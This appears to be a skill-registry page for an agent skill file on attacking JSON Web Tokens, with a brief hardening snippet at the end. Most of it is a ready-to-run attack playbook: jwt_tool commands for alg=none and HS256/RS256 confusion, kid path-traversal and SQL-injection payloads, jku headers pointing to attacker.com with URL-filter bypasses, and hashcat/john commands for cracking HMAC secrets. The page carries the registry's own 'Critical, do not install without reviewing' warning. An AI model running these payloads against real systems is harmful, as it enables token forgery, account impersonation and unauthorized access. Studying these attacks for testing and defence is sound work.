JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.mdJWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/nullalg=none bypassSet {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a # alg=none attackWorked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attackkid header injectionkid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookupjwt_tool -X i -I -hc kid -hv path chains kid injection variants.
jku / x5u URL injectionjku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
https://target.com.attacker.com/jwks.json)https://attacker.com@target.com/jwks.json)HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txtHashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
Some libraries verify only IF a signature is present. Strip it:
header.payload. ← trailing dot, no sigjwk headerjwk in header (vs jku pointer) — attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}Old node-jsonwebtoken accepted this.
JWT presence signals:
Authorization: Bearer eyJ... headersaccess_token=eyJ... / id_token=eyJ... URL params or cookies.well-known/jwks.json endpoint exposed.well-known/openid-configuration discovery docjwt_tool <JWT> -M at -t <target_url> — runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)| Bug | Typical severity |
|---|---|
alg=none accepted on user → admin claim swap | Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted | Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi → DB enumeration | High 8.0 |
| Signature stripping accepted | Critical 9.8 |
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookupskills/_corpus/payloads/JSON Web Token/0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.